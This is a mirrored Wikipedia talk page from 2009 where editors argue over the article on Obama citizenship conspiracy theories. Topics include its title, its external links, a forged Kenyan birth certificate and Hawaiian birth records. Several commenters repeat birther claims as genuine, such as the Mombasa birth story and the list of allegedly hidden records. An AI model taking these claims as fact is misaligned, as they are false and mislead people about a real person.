Misplaced Pages

Revision as of 06:52, 11 August 2009

faq page Frequently asked questions (see also: Barack Obama FAQ) Q1: Isn't the use of the terms "conspiracy theories" and "fringe" in the article title and body a violation of Misplaced Pages's policy on neutrality? A1: No. A preponderance of reliable sources have treated and referred to the topic as a fringe conspiracy theory, rather than a legitimate controversy. The article reflects these sources as per Misplaced Pages's policy of verifiability. Consensus on the article title has been established through a RFC and has been repeatedly reaffirmed since. Q2: What about the word "false" or "falsely"? Is it appropriate for a Misplaced Pages article to state that claims are false? A2: Yes. Misplaced Pages policy is that fringe theories should not be given undue weight. Presenting a fringe theory as an unchallenged possibility gives undue credence to that theory. ("...we should not describe these two opposing viewpoints as being equal to each other ... for instance, forms of historical revisionism that are considered by more reliable sources to either lack evidence or actively ignore evidence.") Q3: Can we discuss renaming the article or removing the "fringe" or "false" labeling? A3: Yes. Consensus can change, so new perspective on this issue is welcome, but please do not rehash old arguments. Please review the archives to see past discussions on this topic, and keep in mind Misplaced Pages policies and reliable sources when you frame your discussion. Q4: The Certification of Live Birth isn't a Birth Certificate, is it? A4: Hawaii has never issued a document with the title "Birth Certificate". Instead, their certificate is titled, "Certification Of Live Birth". The law stipulates that it fulfills all of the functions for which anyone needs a birth certificate. It is therefore misleading to suggest that it is somehow not a birth certificate.

Template:Community article probation

This is the talk page for discussing improvements to the Barack Obama citizenship conspiracy theories article. This is not a forum for general discussion of the article's subject.

Put new text under old text. Click here to start a new topic. New to Misplaced Pages? Welcome! Learn to edit; get help. Assume good faith Be polite and avoid personal attacks Be welcoming to newcomers Seek dispute resolution if needed Article policies Neutral point of view No original research Verifiability

Find sources: Google (books · news · scholar · free images · WP refs) · FENS · JSTOR · TWL

Archives: Index, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19Auto-archiving period: 5 days

This is the talk page for discussing improvements to the Barack Obama citizenship conspiracy theories article. This is not a forum for general discussion of the article's subject.

Put new text under old text. Click here to start a new topic. New to Misplaced Pages? Welcome! Learn to edit; get help. Assume good faith Be polite and avoid personal attacks Be welcoming to newcomers Seek dispute resolution if needed Article policies Neutral point of view No original research Verifiability

Find sources: Google (books · news · scholar · free images · WP refs) · FENS · JSTOR · TWL

Archives: Index, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19Auto-archiving period: 5 days

This article has not yet been rated on Misplaced Pages's content assessment scale. It is of interest to multiple WikiProjects.

Please add the quality rating to the {{WikiProject banner shell}} template instead of this project banner. See WP:PIQA for details. U.S. Supreme Court cases This article is part of WikiProject U.S. Supreme Court cases, a collaborative effort to improve articles related to Supreme Court cases and the Supreme Court. If you would like to participate, you can edit the article attached to this page, or visit the project page.U.S. Supreme Court casesWikipedia:WikiProject U.S. Supreme Court casesTemplate:WikiProject U.S. Supreme Court casesU.S. Supreme Court ??? This article has not yet received a rating on the importance scale. Please add the quality rating to the {{WikiProject banner shell}} template instead of this project banner. See WP:PIQA for details. Law This article is within the scope of WikiProject Law, an attempt at providing a comprehensive, standardised, pan-jurisdictional and up-to-date resource for the legal field and the subjects encompassed by it.LawWikipedia:WikiProject LawTemplate:WikiProject Lawlaw ??? This article has not yet received a rating on the project's importance scale. Template:USP-Article Barack Obama (inactive) This article is within the scope of WikiProject Barack Obama, a project which is currently considered to be inactive.Barack ObamaWikipedia:WikiProject Barack ObamaTemplate:WikiProject Barack ObamaBarack Obama Please add the quality rating to the {{WikiProject banner shell}} template instead of this project banner. See WP:PIQA for details. [REDACTED] Alternative views Low‑importance [REDACTED] This article is within the scope of WikiProject Alternative views, a collaborative effort to improve Misplaced Pages's coverage of significant alternative views in every field, from the sciences to the humanities. If you would like to participate, please visit the project page, where you can join the discussion.Alternative viewsWikipedia:WikiProject Alternative viewsTemplate:WikiProject Alternative viewsAlternative views Low This article has been rated as Low-importance on the project's importance scale.

Template:Multidel

The subject of this article is controversial and content may be in dispute. When updating the article, be bold, but not reckless. Feel free to try to improve the article, but don't take it personally if your changes are reversed; instead, come here to the talk page to discuss them. Content must be written from a neutral point of view. Include citations when adding content and consider tagging or removing unsourced information.

This page is not a forum for general discussion about Barack Obama citizenship conspiracy theories. Any such comments may be removed or refactored. Please limit discussion to improvement of this article. You may wish to ask factual questions about Barack Obama citizenship conspiracy theories at the Reference desk.

Conspiracy Theory

I am a upset that Misplaced Pages calls it "Conspiracy theories." These are legitimate questions. (Ex: His Grandmother said she was there when he was born in Mombasa.) I am not a "conspiracy theorist" and I am offended that Misplaced Pages thinks I am. I propose we change the name of the article to something more eneutral such as "Barack Obama citizenship controversy" —Preceding unsigned comment added by Legokid (talk • contribs) 04:33, 23 July 2009 (UTC)

Please take a look at this page and the archives to this page to see the reasoning behind the article naming (in short, reliable sources call this topic conspiracy theories, we follow reliable sources per policy.) If you'd like to discuss renaming it, please do so from a WP policy perspective. thanks, --guyzero | talk 04:44, 23 July 2009 (UTC)

Actually, quoting Topic_creation#Controversial_names: The purpose of an article's title is to enable that article to be found by interested readers, and nothing more. Using that rationale, Barack Obama birth certificate controversy would be neutral and in line with what interested readers would be likely to search for. Of course, that's a little too neutral for some. My goodness, how can we convey the wackiness of the subject matter with a neutral title like that? Regarding the "reliable sources" angle, I've noticed that as time progresses, a higher percentage of reliable sources seem to use quite unprofessional and disparaging language when commenting, um, I mean reporting on this issue. Unfortunately, if Misplaced Pages aspires to the low standard of parroting highly strung talking heads out there, then the title may be right on and we can all be proud of ourselves. JBarta (talk) 06:19, 23 July 2009 (UTC)

And one more thing... one can read past discussions in the archives and ALSO find plenty of sound reasoning for and editors in support of changing the title to something a little more appropriate. JBarta (talk) 06:25, 23 July 2009 (UTC)

I got to ask what round of discussions on trying to change the name of this page this is? I have completely forgotten how many times people try to bring up changing the title of this article, yet consensus is to keep it? Again, the title fits the article and topic, it is reflected in the sources, and is searchable in the search engines. Brothejr (talk) 10:03, 23 July 2009 (UTC)

I agree, the vast majority of RS continue to label them conspiracy theories. To change the name would shift the POV to the extremist minority. Tony Kao (talk) 10:39, 23 July 2009 (UTC)

It seems to me that the so-called "consensus" to keep the current title has never been as solid as some would wish to believe. The title has been problematic and non-neutral from the beginning and will likely continue to be a source of discontent. JBarta (talk) 15:48, 23 July 2009 (UTC)

Please accept consensus, as it is clear. Random drive by complaints that restart this topic do not make the consensus any less "solid". As I said on 7/12/09, please seek DR at RSN, BLPN, NPOVN, or RFC, as having the same discussion here, with the same conclusion, every couple weeks is not moving anything forward. --guyzero | talk 16:57, 23 July 2009 (UTC)

The word "controversy" is neutral and NPOV. The phrase "conspiracy theory" is heavily POV. I don't consider myself to be a "conspiracy theorist," but at the same time, I wonder why Obama is not willing to release the original long form birth certificate that was created in 1961, and which includes the name of the doctor who delivered him. Until I get to see that document, I am not willing to take sides on this issue. Grundle2600 (talk) 01:13, 24 July 2009 (UTC)

No, because there is no real "controversy" going on and because of that it makes it a "conspiracy theory" like the moon landing. If there is a "real" controversy it would be already known. If they were and are so good in cover-up even before Obama was elected then you can't believe not even one word no matter who is in charge. So should we stick to the rules and write about the known facts made public by the media, not only the biased one but also the independent one, or should we disobey any Wiki-rule and make the "conspiracy" our main dish (and focus)? I'd say "nay".--The Magnificent Clean-keeper (talk) 01:39, 24 July 2009 (UTC)

"conspiracy theory" is not POV when the subject at hand requires a conspiracy to have occurred for the theory to be true. For Obama to have not been born in Hawaii, multiple newspapers (those issuing contemporaneous birth announcements) and multiple employees in the state records department would have all needed to conspire to produce false evidence. That's a conspiracy. —Preceding unsigned comment added by 24.19.244.213 (talk) 01:00, 25 July 2009 (UTC)

The above poster said, "For Obama to have not been born in Hawaii, multiple newspapers (those issuing contemporaneous birth announcements) and multiple employees in the state records department would have all needed to conspire to produce false evidence. That's a conspiracy." That's a conspiracy, but the premise is shaky. Multiple newspapers in Hawaii received identical birth reports weekly from the Department of Health, according to a story published in one of the Hawaii papers. So no one at a newspaper would have to be part of any conspiracy at all for multiple notices to be published. They just took the information that the Department of Health gave them. How many employees at the Department of Health would be needed to create a Certificate of Live Birth from an official, blank form and see to it that it was recorded with all the others, I don't know. —Preceding unsigned comment added by Gosseyn1 (talk • contribs) 01:00, 4 August 2009 (UTC)

Why would anybody back in 1961 feel the need to falsify a birth certificate (that was sent to the newspapers) about Barack Obama? Nobody knew back then that he would become President. This isn't a controversy, this is pure conspiracy theory that's even more far-fetched than moon-landing conspiracy theories.99.150.200.56 (talk) 20:43, 7 August 2009 (UTC)

That whole business of "how could anyone know he would run for president 47 years later" is a canard. It's inventing a conspiracy theory then blasting it as ludicrous. Folks questioning Obama's birth location/circumstances have put forth a few reasonable (and non-conspiratorial) possibilities to explain the existance of the birth announcements... none of which have anything to do with running for president 47 years later. A U.S. birth is useful for reasons other than running for president. JBarta (talk) 21:14, 7 August 2009 (UTC)

According to Orly Taitz, Barack Obama was born in Kenya, but his parents didn't want to pay any fees for bringing him into the country and changing his citizenship, so Stanley Obama had her parents, then living in Hawaii, salt the birth notices in the paper so that the family could claim he was born in Hawaii and avoid the fees. Who then was a gentleman? (talk) 23:40, 7 August 2009 (UTC)

Orly Taitz

Since the potential creation of this article was discussed on this talk page, editors here may be interested in the 2nd AFD nomination. Note: I am not recommended editors to !vote one way or another; I myself am conflicted and will perhaps add my 2c later. Abecedare (talk) 18:23, 28 July 2009 (UTC)

As someone who would like to rescue certain weak-minded friends from birther hysteria, I would like to see the Orly Taitz article reinstated. If she's an attorney, why does dhre she practise dentistry and real estate agentry for a living? Her followers cab easily find the "good news" about what a great person she is. I need a place to find the other side of her story. 76.3.159.175 (talk) 11:06, 3 August 2009 (UTC)

Why is there no article on Orly Taitz??? —Preceding unsigned comment added by 143.121.120.73 (talk) 13:10, 5 August 2009 (UTC)

I also think their should be a page for Orly Taitz at this point, as the above poster mentioned she does have (what seems to be) a dubious record as a supposed dentist/lawyer/real estate agent. If I recall correctly her license to practice law was revoked a couple years ago... I think it would be important to include a page on her since she seems to be somewhat of a figurehead in this "birther" movement and having plain-view data of her history might educate people as to her credibility. Tunafizzle (talk) 01:14, 6 August 2009 (UTC)

Acknowledging that this has gone through two AFD's, I was also surprised that Orly Taitz wasn't a separate article. I was reading a movie review on Salon.com (of "Beeswax") that contained a gratuitous mention of Taitz. I knew who she was, of course -- but don't really know a lot about her other than what I've heard piecemeal in the media. Dentist? Lawyer? What school (if any) did she go to? What country is she from? I mean...who is this (if you'll excuse me) utter and complete nutjob?

So I hopped over to Misplaced Pages to have a look -- and was redirected here. This is a useful article about the controversy generally, but I really wanted to know about the person. If she's notable enough for Salon.com to be mentioning her in articles unrelated to the Birther "controvery," then she's probably notable under WP guidelines. The counter-argument I keep hearing is that she is not notable outside of her participation in the Birther movement. That's a good argument in some contexts: if, say, someone is not well-known, but the thing they participate in is. (For example, a backup singer isn't notable just because the band is.) In that context, the only thing you would be able to say about the person (based on reliable sources) is "he's a backup singer in X band." But with Taitz there's far more you can say -- and far more I'd like to learn. (Such as what I mentioned above...did this person actually attend law school? Jon Stewart mentioned that she's a dentist/lawyer...what's the deal with that?) I'd be surprised if there aren't reliable sources reporting on that sort of information.

Besides, the "she's a part of X" argument can easily be taken too far. For example, Mick Jagger would not have become notable except that he was a musician in the Rolling Stones. That's what made him famous. But we wouldn't redirect to the Rolling Stones -- people want to know about the person, he's been written about independently by reliable sources, and he's therefore indepedently notable.

All in, look, I'd rather Taitz shrivel up and disappear. But since she exists, has name recognition, appears on national television, and is apparently now rather famous...she's probably notable. So it's odd that we don't have an article about her. --TheOtherBob 16:30, 6 August 2009 (UTC)

CfD for the Birther category

Feel free to weigh in at Misplaced Pages:Categories_for_discussion/Log/2009 July 31#Category:Birthers. While not a fan of the birther movement in any sense, I think classifying people by specific belief such as this is not appropriate for the Misplaced Pages. Tarc (talk) 17:26, 31 July 2009 (UTC)

Not sure what your objection is. Can you please be more explicit? Are you saying that the term "Birther" is derogatory? If so, it is a term you have yourself used in your comment. Do you have a better, more recognized term to suggest? You go on to say that "classifying people by specific belief such as this is not appropriate for Misplaced Pages". Does this mean that there should not be articles on "Jews", "Catholics", or "Republicans" because these terms "classify by specific beliefs"? Wm. M. 75.111.38.55 (talk) 02:01, 7 August 2009 (UTC)

As per WP:Categories, "They should be the categories under which readers would most likely look if they were not sure of where to find an article on a given subject. They should be based on essential, "defining" features of article subjects, such as nationality or notable profession (in the case of people), type of location or region (in the case of places), etc". -Falcon8765 (talk) 02:37, 7 August 2009 (UTC)

External Links needs cleaning up

Per WP:EL, what this section has become is no longer correct. What we have now is a mere "collection of links" in which the issue is discussed, positively or negatively. That is not the point of external links. Please see WP:ELYES and WP:ELNO for specific guidelines but most of these need to go. I'm going to clean it up. If anyone objects, please discuss the specific link you feel should be included here. Thanks! --Loonymonkey (talk) 01:14, 2 August 2009 (UTC)

I think the link to the WorldNetDaily archive of their complete coverage of the subject should be restored. It does not obviously fail anything in WP:ELNO, and WorldNetDaily is a notable source for these theories. PSWG1920 (talk) 06:42, 2 August 2009 (UTC)

Loonymonkey, I would dispute that the current list is merely a "collection of links". In fact I would contend that the current links are probably the most beneficial and/or notable external mentions of this particular topic. I am open to discussion on particular links, or others views that they all should go (Wp:Concensus), but in lieu of this I have chosen to revert your blanket deletions to allow for more talk page discussion on the matter. I don’t find 6-7 links to be in the range of a WP:Linkfarm, and would posit that around 8 would be the Wiki average – although yes admittedly you have some editors who out of personal preference would like them eradicated altogether.   Redthoreau (talk)RT 14:08, 2 August 2009 (UTC)

I'm not going to revert your insertion of all the links back into the article, but if you are adding those links back in, you need to at least give a justification for each of the specific links and why you feel they belong. The number of links (6 or 8) doesn't matter, it's the specific relevancy of the individual links. Of the three categories of link to include, the first two obviously do not apply. That leaves the third one "Sites that contain neutral and accurate material that cannot be integrated into the Misplaced Pages article due to copyright issues, amount of detail (such as professional athlete statistics, movie or television credits, interview transcripts, or online textbooks) or other reasons." That right there rules out several of the removed links. WND is neither neutral or accurate. Most of the others are not being included for the legal and technical reasons stated above, but rather, simply because somebody likes it. I'll start by removing the WND link as it is a clear violation of WP:EL and we'll address the other ones individually. Please give specific arguments for EACH of the links why you feel they belong, not just a general statement that we don't have too many links so why not leave them. --Loonymonkey (talk) 17:54, 2 August 2009 (UTC)

You didn't mention WP:ELMAYBE. #4: "Sites which fail to meet criteria for reliable sources yet still contain information about the subject of the article from knowledgeable sources." Depending on how you interpret "knowledgeable sources" here WND could qualify. PSWG1920 (talk) 18:43, 2 August 2009 (UTC)

(outdent) Loonymonkey, the counter to "I like it" would be "I don't like it" (with both being as valid/invalid). At this moment there are 8 external links included in the article which I will list below:

• The Daily Show: "The Born Identity" July 22, 2009
• Gordon Liddy on MSNBC's Hardball With Chris Matthews July 23, 2009
• The Colbert Report: "Womb Raiders" Part 1 and Part 2 with Orly Taitz July 28, 2009
• Real Time with Bill Maher: New Rules - Warning On Birthers July 31, 2009

Per these links, I would say that the first 3 represent notable and reliable "fact checking sites" which are highly relevant to the topic and thus worthy of inclusion, while the 4th link from The Politico represents a fair assessment from a media source which is usually seen as a fair arbiter of conservative ideas. Per the second video section, it is obvious that these videos can't be linked in the article itself, and I would posit that these 4 media appearances (with their millions of viewers) gave the topic of “birtherism” more notoriety than probably any other occasions thus far in the entire "movement". They effectively brought the "fringe" out into the mainstream popular culture - for those who were probably not aware of these claims previously. Do you disagree? What would be your reasoning for objecting to including these links?   Redthoreau (talk)RT 18:10, 2 August 2009 (UTC)

In the #Linking to birther sites thread above, I expressed doubt about linking to www.marchreport.com. By my same analysis, however, the link to World Net Daily is proper -- and I'm a liberal who has been known to refer to that site as "World Nut Daily". JamesMLane t c 05:41, 3 August 2009 (UTC)

So can we re-add the link to the WorldNetDaily archive of their complete coverage of this subject? As I noted above, WP:ELMAYBE #4 would seem to permit it to be considered as an EL. If not for WorldNetDaily this subject might never have become notable enough for its own article in Misplaced Pages. PSWG1920 (talk) 18:19, 10 August 2009 (UTC)

Can we trim/clean that up? Not sure if we need the snopes and Urbanlegends. Also, do we need Colbert, Maher, Stewart and Mathews commentary? It seems per WP:EL that ELs should be limited to sites that deal directly with the topic of the article rather than those just mentioned. This section could grow and who determines what is included. Anyways, TIA --Tom (talk) 20:15, 9 August 2009 (UTC)

This is either a real document or a great forgery.

Unlike the short form certification of live birth that was printed by a computer in 2007, this document really does look like something that was made in the 1960s. Grundle2600 (talk) 17:37, 2 August 2009 (UTC)

What is your point? Barack cannot turn the clock back to the 60's and get a certificate that was printed in the 60's. I don't think even birthers make the claim that the certificate he produced is illegitimate because it was printed in 2008 rather than in the 60's. Dems on the move (talk) 17:41, 2 August 2009 (UTC)

Please stop wasting our time Grundle. You know full well that WND is not a reliable source and there isn't any point in discussing anything that they have "published." --Loonymonkey (talk) 17:43, 2 August 2009 (UTC)

Well, this document isn't coming from WND - it's coming from Orly Taitz. WND often sensationalizes things, but they don't out and out invent photoshopped documents. I don't think there's any question whatsoever it's fake - for crying out loud, two blocks for signatures have typed names, not signatures. But just because WND posts it on their website doesn't mean they created it. Orly Taitz's website is http://orlytaitzesq.com/ - I looked there to see if they make any claims about where they got the document from, but they don't. --B (talk) 21:49, 2 August 2009 (UTC)

Malware warning. Before following B's link to Taitz's website, you should be aware of this warning: "The Orly Taitz website is currently compromised. It contains a hidden iframe that links to a Chinese malware site (security-alerts.cn.) I strongly suggest that you disable all JavaScript before visiting. The exploit was NOT detected by Norton AntiVirus 2009 nor AVG (both with current definitions)! It's fresh, folks. Beware!" This is from Free Republic, an intensely pro-birther website that would have no interest in falsely warning people away from Taitz's site. I have no expertise in these matters and merely pass on the warning FWIW. JamesMLane t c 13:27, 5 August 2009 (UTC)

Not to mention the fact that it's easily revealed to be a forgery. The "security paper" background has text in Afrikaans claiming it to be a fraud, and text embedded in the file says:

NOTICE: This image is a work of parody and political commentary. It is not a genuine government document. Barack Obama was born in Hawaii. A certified copy of his birth record is freely available online. If you thought this was Obama's real birth certificate, a "smoking gun" proving he's not a natural-born citizen, then congratulations. You are an idiot. I made this from scratch. It is completely fake, and no document from Kenya or the United Kingdom resembles it.

Obama's president, and will be for the next 3 1/2 to 7 1/2 years. Get used to it.

Nothing to see here, folks.--TheMaestro (talk) 21:52, 2 August 2009 (UTC)

Are you trolling here? Trentc (talk) 03:57, 4 August 2009 (UTC)

As far as I can tell, neither the WND image or the one from orlytaitzesq.com has such exif info. I googled the text and found it in reference to this photoshopped birth certificate, which is a completely different one from the one we are discussing. --B (talk) 21:59, 2 August 2009 (UTC)

B is correct. My mistake. --TheMaestro (talk) 14:39, 3 August 2009 (UTC)

Regardless, nobody will ever find a reliable source that says this is anything other than a laughably obvious forgery and it isn't in any way notable, so inclusion in the article isn't going to happen. Given that, there is nothing left to discuss on this subject, and we're heading into discussion forum territory, so let's close this discussion and move on. --Loonymonkey (talk) 22:07, 2 August 2009 (UTC)

Well, I agree that it's an obvious forgery. But this article is about conspiracy theories that everyone agrees are whacky. There will probably come a point where the MSM takes note of this fake birth certificate at which time it will be an appropriate topic for inclusion. --B (talk) 22:12, 2 August 2009 (UTC)

That depends, if its just to make fun of it for pretty such an obvious fake, maybe not. If it's for hoaxing the birthers, still maybe not (although pretty funny!). What might get interesting is if Taitz uses it in a court cases and a judge takes her to task for including it. When you try to claim something in true and factual, and there's more than a few holes in that story, judges don't take a kind view. Ravensfire2002 (talk) 22:21, 2 August 2009 (UTC)

This is a different forgery this time, but still has been debunked already, since Kenya was not a Republic until December 64, and this purports to be a copy made in Feb 64, when it was still a Dominion... furthermore, Mombasa was still Zanzibarian when Obama was born. See http://www.scribd.com/doc/18018714/Fake-Obama-Kenya-birth-certificate —Preceding unsigned comment added by 70.105.20.31 (talk) 22:16, 2 August 2009 (UTC)

Dems on the move, you said, "Barack cannot turn the clock back to the 60's and get a certificate that was printed in the 60's." Yes he can. CNN president Jon Klein was mistaken when he said that it had been destroyed. Grundle2600 (talk) 03:14, 3 August 2009 (UTC)

Source of that statement? Ravensfire2002 (talk) 03:29, 3 August 2009 (UTC)

Source Grundle2600 (talk) 14:40, 3 August 2009 (UTC)

Seriously, did you look at the date of that? That's from November 2008, and quite a few people did think the original BC existed. How about something a bit more recent? Ravensfire2002 (talk) 15:21, 3 August 2009 (UTC)

Also, it says "have personally seen and verified that the Hawai‘i State Department of Health has Sen. Obama’s original birth certificate on record in accordance with state policies and procedures". If those policies and procedures are to maintain only a digital copy (or just a database with the appropriate data), then a simple query "select * from birth_data where bc_number = 12345;" would be enough to say the same thing. If we don't have something that says "I have seen the paper copy of the BC on file", it's hard to draw the inference that a paper copy exists given the push to digitally store data. Ravensfire2002 (talk) 15:25, 3 August 2009 (UTC)

Loonymonkey, if World Net Daily is not a reliable source, then why is it cited in this article? Grundle2600 (talk) 03:15, 3 August 2009 (UTC)

In general, it is not a reliable source. In limited circumstances, it can be used as a reliable source, particularly when stating opinion. For this, it's anything but reliable. Far too many question have been raised already, and WND only uses innuendo. WND simply does not meet the requirements of a reliable source. Ravensfire2002 (talk) 03:34, 3 August 2009 (UTC)

Thanks. Grundle2600 (talk) 14:40, 3 August 2009 (UTC)

70.105.20.31, that's an excellent observation. Thanks for pointing it out. Grundle2600 (talk) 03:17, 3 August 2009 (UTC)

• Look what I found! Seems like he released his | long form birth certificate.--The Magnificent Clean-keeper (talk) 03:43, 3 August 2009 (UTC)

This thread on Democratic Underground includes instructions for creating your own fake Kenyan birth certificate. The example given proves that Prince Charles was born in Kenya. Maybe we could do one for Jimbo. JamesMLane t c 06:14, 3 August 2009 (UTC)

Looks like the codename that is winning out for this is "Project Birther Control". Lulz. Tarc (talk) 13:10, 3 August 2009 (UTC)

Heh heh heh. Grundle2600 (talk) 14:40, 3 August 2009 (UTC)

If you compare closely the PDF file available from the Democratic Underground and the certificate on Orly Taitz's website you will notice they are different documents. Look at minor details like spacing and alignment of letters, positions of dots, etc. This doesn't prove the authenticity of the Orly Taitz document, although it does show that the two are different, and in all likelihood the PDF file is nothing more than a mockup of the Taitz document. Such could be done to mimic nearly ANY official document. JBarta (talk) 19:03, 3 August 2009 (UTC)

This is a very obvious fake due to one very simple fact; the year of birth is 1961. The Republic of Kenya didn't exist prior to 1963 - it was the UK's Dominion of Kenya. 24.2.235.143 (talk) —Preceding undated comment added 14:47, 3 August 2009 (UTC).

I'd say it's a fake, but probably not for that reason. It purports to have been issued in 1964, confirming a birth that occurred in Mombasa in 1961. It's plausible that someone might, in 1964, need proof of a 1961 birth, and that the document issued in 1964 (based on an examination of the records from 1961) would indicate the date of its issuance. It's likely that Kenya, an independent country in 1964, would be using a form that reflected its independence. Having shaken off colonialism, the Kenyans wouldn't want to issue any forms that identified their land as a British colony.

There's an argument that Kenya became independent in 1963 but wasn't declared a Republic until December 1964. There's a response that they were using "Republic of Kenya" even before December. At this point, I know of no reliable source for any of this.

The main point is the provenance. We have Orly Taitz, a fierce partisan, proffering the document and, according to World Net Daily, alleging that she received it from an anonymous source. Taitz might be scamming us and the court. More realistically, her source might be scamming her. There's just no affirmative reason to believe this document is genuine, even before we get into the negative reasons about "Republic of Kenya" and a registration on a Saturday and the like. More to the point for Misplaced Pages, there's no reliable source asserting that it's genuine. JamesMLane t c 22:36, 3 August 2009 (UTC)

"This is either a real document or a great forgery."

Or neither. TimSPC (talk) 02:39, 4 August 2009 (UTC)

Information Available on Hawaii Original Birth Certificates

The article is somewhat misleading. The following information is shown on original Hawaii birth certificates.

File number Child's name Sex Single/Twin/Triplet and born 1st/2nd/3rd Birth date and hour Place of birth Island Name of hospital or institution, address Outside city limits? Usual residence of mother? Island County, State, or foreign country Street address of mother. Outside city limits? Mailing address of mother. Farm or plantation? Full name of father. Race of father. Age of father. Birthplace of father. Usual occupation of father. Kind of business or industry, Full maiden name of mother. Race of mother. Age of mother. Birthplace of mother. Type of occupation outside the home during pregnancy. Date last worked. Signature of parent and date. Signature of attendant (M.D., D.O., Midwife, Other) and date. Date accepted by local registrar, Signature of registrar, and date.

Could the article at least acknowledge that some of this information is not available on the form that was released? Doctor Search (talk) 06:45, 3 August 2009 (UTC)

Doc, you might want to supply us with WP:RS's or check on WP:OR. Anything else is just senseless.--The Magnificent Clean-keeper (talk) 07:08, 3 August 2009 (UTC)

Thank you. I understand the need for a reliable source. Do you agree that an Internet Archive Wayback Machine recovery of http://web.archive.org/web/20050405040843/www.hawaii.gov/health/vital-records/vital-records/newbirthcert.html would be considered reliable. Doctor Search (talk) 07:33, 3 August 2009 (UTC)

Is this information as of today, or as of Obama's birth? That's just one question that indicates why we have the WP:NOR rule. Find a citation in which an argument along these lines is made by a prominent spokesperson. We can report facts about opinions, including opinions held by birthers, but we do not go out and try to dig up facts to make the case for or against Obama's eligibility. JamesMLane t c 08:42, 3 August 2009 (UTC)

As far as 'many people' outside the US (and even within it) are likely to see it:

The documentation provided by the Hawaiian authorities (who appear to be 'the competent authorities) clearly indicate that Obama was born there. Various competent authorities have confirmed that this is the case.

John McCaine was born in Panama, clearly being outside the United States, whether or not to American parents capable of granting nationality by patriality.

If the 'birthers and friends' assert that McCain was competent to run for the presidency, then, by definition, Obama is also so competent.

So #what exactly# is their problem? That he was not the Republican candidate for the 2008 election? Or what? —Preceding unsigned comment added by 83.104.132.41 (talk) 11:15, 3 August 2009 (UTC)

I believe (without bothering to look up the facts) that McCain was born in the Canal Zone, which was extraterritorial US. But can we please agree not to discuss that non-issue in the discussion page for the article on this non-issue?

Their exact problem is a matter discussed all over the place; a good example is this new piece by Gary Younge. If you'd like to join that discussion, feel free to do so -- but not this page, as it's for discussion of the article. -- Hoary (talk) 11:28, 3 August 2009 (UTC)

The questions are, perhaps

• What would the birthers get in the unlikely case of being able to mount a challenge they would immediately face a tu quoque argument about #a candidate definitely born outside US territory# and a constitutional crisis?
• #Why# do the birthers want to believe that Obama is an illegitimate president?

Comments on these might be appropriate for the article. —Preceding unsigned comment added by 83.104.132.41 (talk) 13:01, 3 August 2009 (UTC)

first of all,they dont WANT to believe it, but they havelegtiitmate concerns.

second of all, this isnt a forum for you to bash your favorite political targets. this is for improving the article. please stay on task Smith Jones 00:25, 4 August 2009 (UTC)

There is a reliable source (BBC News) that explains that

The document released by the Obama camp was a Certification of Live Birth, freshly created in 2007 by Hawaiian officials at the request of the Obama campaign, based on Hawaii's computerised records, not the original hand-written long-form "Certificate of Live Birth", created by the hospital at the time of Mr Obama's birth.

A Certificate of Live Birth contains more information, including the hospital name, and the name of the attending physician.

And it is misleading to exclude that information from the article. Doctor Search (talk) 16:11, 4 August 2009 (UTC)

Media Matters vs Lou Dobbs

• (FYI) Media Matters vs Lou Dobbs: http://mediamatters.org/mmtv/200907310039 , http://dobbsconspiracy.com/ , http://www.youtube.com/watch?v=zjBA5H4RBHA - 89.2.241.2 (talk) 14:30, 3 August 2009 (UTC)

BERG v. OBAMA et al

SEE http://docs.justia.com/cases/federal/district-courts/pennsylvania/paedce/2:2008cv04083/281573/19/ —Preceding unsigned comment added by 199.190.170.21 (talk) 22:42, 3 August 2009 (UTC)

Why? Who then was a gentleman? (talk) 18:26, 4 August 2009 (UTC)

True or false: Obama spent almost a million dollars on lawyers...

This is from canadafreepress.com, which seems to be a legitimate source. It claims that Obama is "alleged to have spent nearly a million dollars on lawyers to keep his birth and other public records secret." It says those other records include:

1. Occidental College records—Not released 2. Columbia College records—Not released 3. Columbia Thesis paper—“Not available” 4. Harvard College records—Not released 5. Selective Service Registration—Not released 6. Medical records—Not released 7. Illinois State Senate schedule—“Not available” 8. Law practice client list—Not released 9. Certified Copy of original Birth certificate—Not released 10. Embossed, signed paper Certification of Live Birth—Not released 11. Harvard Law Review articles published—None 12. University of Chicago scholarly articles—None

If it's true that he has spent nearly a million dollars on this, it should be mentioned in the article. If it's not true, then of course it shouldn't be.

Is it true or not?

Grundle2600 (talk) 00:39, 4 August 2009 (UTC)

Canadafreepress.com is just another rightwing website. The web page (which sports an array of right-wing ads) touts the author's latest book, which gets two reviews at amazon.com. One of these is utterly incomprehensible but the other earnestly praises the book for its criticism of the Bush regime as caving in to the forces of globalism, environmentalism, etc. So the author's just another wingnut columnist, it would seem.

If you want to ask questions about The Truth, please do so in another website. -- Hoary (talk) 01:26, 4 August 2009 (UTC)

See the previous topic about this, conveniently located on this very talk page. Ravensfire2002 (talk) 05:15, 4 August 2009 (UTC)

Thanks, both of you. Grundle2600 (talk) 20:50, 4 August 2009 (UTC)

"Denialism" category

On the one hand, it seems obvious given the evidence that the conspiracy theories in question are spurious and unfounded. On the other hand, it would seem to me that the category "denialism" is POV. Thoughts? - Chardish (talk) 01:52, 4 August 2009 (UTC)

Other Presidents?

There should be some mention of the previous birther controversy about Chester Arthur being born in Canada, and the complaint over Herbert Hoover having never lived in the U.S. for fourteen years in a row. See: Palmer, Brian (2008-08-03). "What If Obama Really Was Born in Kenya? An Explainer thought experiment". Slate. -- 209.6.238.158 (talk) 02:24, 4 August 2009 (UTC)

Claims that the Certificate of live birth is meaningless

I just watched the highly comical exchange between David Shuster and Orly Taitz on MSNBC and wanted to get the story behind her assertion that no proof, other than the word of one parent, was needed to obtain a COLB in Hawaii at the time of Obama's birth. The article as written notes the birther claims that foreign-born children could acquire a COLB and that "the information in such a certificate only has to be based on the testimony of one parent." The article then states that both claims were refuted in an OC Weekly article which states, "The law allowing foreign-born children to obtain Hawaiian COLBs didn’t exist until 20 years after Obama was born." However, I don't see any refutation there to the second claim that only the word of one parent was required to obtain a COLB. That seems to be an entirely separate issue from the one claiming known foreign-born children could obtain a COLB. Should a second source directly refuting the 'one parent' claim be provided, or am I missing something? —divus 04:59, 4 August 2009 (UTC)

Alleged Kenyan birth certificate

I've removed this section that was recently added to the article, as it was based entirely on blog sources. If it's covered by the mainstream media (i.e. reliable sources) we should cover it; otherwise, no. -- ChrisO (talk) 07:41, 4 August 2009 (UTC)
